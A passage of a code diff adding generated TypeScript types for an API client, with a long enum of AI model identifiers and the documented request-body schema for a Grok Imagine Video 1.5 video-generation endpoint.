'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15RequestModelEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15RequestModelEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15RequestModelEnum] + +export const openrouterPostVideosXAiGrokImagineVideo15RequestResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosXAiGrokImagineVideo15RequestResolutionEnumKey = + (typeof openrouterPostVideosXAiGrokImagineVideo15RequestResolutionEnum)[keyof typeof openrouterPostVideosXAiGrokImagineVideo15RequestResolutionEnum] + +/** + * @description SpaceXAI: Grok Imagine Video 1.5 (x-ai/grok-imagine-video-1.5) — model-constrained video generation request. Grok Imagine Video 1.5 is a video generation model from SpaceXAI. It creates videos from text prompts, with an optional starting image to guide the scene. It can direct subject... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosXAiGrokImagineVideo15Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosXAiGrokImagineVideo15RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosXAiGrokImagineVideo15RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosXAiGrokImagineVideo15RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosXAiGrokImagineVideo15RequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosXAiGrokImagineVideo15Options = { + body: OpenrouterPostVideosXAiGrokImagineVideo15Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosXAiGrokImagineVideo15Responses = { + '200': OpenrouterPostVideosXAiGrokImagineVideo15Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosXAiGrokImagineVideo15Response = + OpenrouterPostVideosXAiGrokImagineVideo15Status200 + +export const 